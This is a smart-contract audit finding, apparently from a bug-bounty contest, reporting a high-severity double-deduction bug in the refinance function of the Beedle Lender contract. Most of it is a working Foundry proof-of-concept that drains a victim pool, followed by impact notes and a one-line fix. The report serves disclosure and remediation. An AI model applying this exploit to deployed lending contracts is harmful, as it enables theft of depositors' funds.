20,000 USDC
View results
Submission Details
Severity: high
Valid

Attacker can drain funds of any pool by just having a similar pool (in terms of tokens)

Summary

When a refinance operation is happening, the target pool's balance is being altered/decreased twice on https://github.com/Cyfrin/2023-07-beedle/blob/main/src/Lender.sol#L698 and on https://github.com/Cyfrin/2023-07-beedle/blob/main/src/Lender.sol#L636. This allows an attacker to drain funds of any pool out there by just having a pool that matches the same tokens.

We also realized that the corresponding test is commented out https://github.com/Cyfrin/2023-07-beedle/blob/main/test/Lender.t.sol#L415-L416.

Vulnerability Details/POC

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
// https://github.com/NomicFoundation/hardhat/blob/main/packages/hardhat-core/console.sol
import "forge-std/console.sol";
import "../src/Lender.sol";
import {ERC20} from "solady/src/tokens/ERC20.sol";
contract TERC20 is ERC20 {
function name() public pure override returns (string memory) {
return "Test ERC20";
}
function symbol() public pure override returns (string memory) {
return "TERC20";
}
function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}
}
contract LenderTest is Test {
Lender public lender;
TERC20 public loanToken;
TERC20 public collateralToken;
address public attacker = address(0x1);
address public victim = address(0x3);
address public fees = address(0x4);
uint256 LOAN_VALUE = 100 * 10 ** 18;
uint256 VICTIM_LOAN_VALUE = 210 * 10 ** 18;
function setUp() public {
lender = new Lender();
loanToken = new TERC20();
collateralToken = new TERC20();
loanToken.mint(address(attacker), 100000 * 10 ** 18);
loanToken.mint(address(victim), 100000 * 10 ** 18);
collateralToken.mint(address(attacker), 100000 * 10 ** 18);
collateralToken.mint(address(victim), 100000 * 10 ** 18);
vm.startPrank(attacker);
loanToken.approve(address(lender), 1000000 * 10 ** 18);
collateralToken.approve(address(lender), 1000000 * 10 ** 18);
vm.startPrank(victim);
loanToken.approve(address(lender), 1000000 * 10 ** 18);
collateralToken.approve(address(lender), 1000000 * 10 ** 18);
}
function attackerBorrowsFromOwnPool() public {
vm.startPrank(attacker);
Pool memory p = Pool({
lender: attacker,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: 1000 * 10 ** 18,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1_000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
(, , , , uint256 poolBalance, , , , ) = lender.pools(poolId);
assertEq(poolBalance, 1000 * 10 ** 18);
Borrow memory b = Borrow({
poolId: poolId,
debt: LOAN_VALUE,
collateral: 100 * 10 ** 18
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
assertEq(loanToken.balanceOf(address(attacker)), 990995 * 10 ** 17);
assertEq(collateralToken.balanceOf(address(lender)), LOAN_VALUE);
(, , , , poolBalance, , , , ) = lender.pools(poolId);
assertEq(poolBalance, 900 * 10 ** 18);
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
(address loanLender, address loanBorrower, , , , , , , , ) = lender
.loans(0);
assert(
loanLender == address(attacker) && loanBorrower == address(attacker)
);
}
function victimCreatesPool() public returns (bytes32) {
vm.startPrank(victim);
Pool memory p = Pool({
lender: victim,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: VICTIM_LOAN_VALUE,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1_000,
outstandingLoans: 0
});
return lender.setPool(p);
}
function test_poc() public {
attackerBorrowsFromOwnPool();
bytes32 victimPoolId = victimCreatesPool();
(, , , , uint256 victimPoolBalanceBefore, , , , ) = lender.pools(
victimPoolId
);
console.log(
"victimPoolBalanceBefore",
victimPoolBalanceBefore / 10 ** 18
); // 210
assertEq(victimPoolBalanceBefore, VICTIM_LOAN_VALUE);
vm.startPrank(attacker);
Refinance memory r = Refinance({
poolId: victimPoolId,
loanId: 0,
debt: LOAN_VALUE,
collateral: 100 * 10 ** 18
});
Refinance[] memory refinances = new Refinance[](1);
refinances[0] = r;
lender.refinance(refinances);
(, , , , uint256 victimPoolBalanceAfter, , , , ) = lender.pools(
victimPoolId
);
console.log(
"victimPoolBalanceAfter",
victimPoolBalanceAfter / 10 ** 18
); // 10 - knowing that the poolBalanceBefore was 210, and the loan's debt is 100 - So the poolBalanceAfter should be 110
assert(victimPoolBalanceAfter == (VICTIM_LOAN_VALUE - LOAN_VALUE * 2));
}
}

Impact

An attacker can drain the funds of any pool out there.

Tools Used

VScode tests + manual review.

Recommendations

Remove pools[poolId].poolBalance -= debt; from https://github.com/Cyfrin/2023-07-beedle/blob/main/src/Lender.sol#L698.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.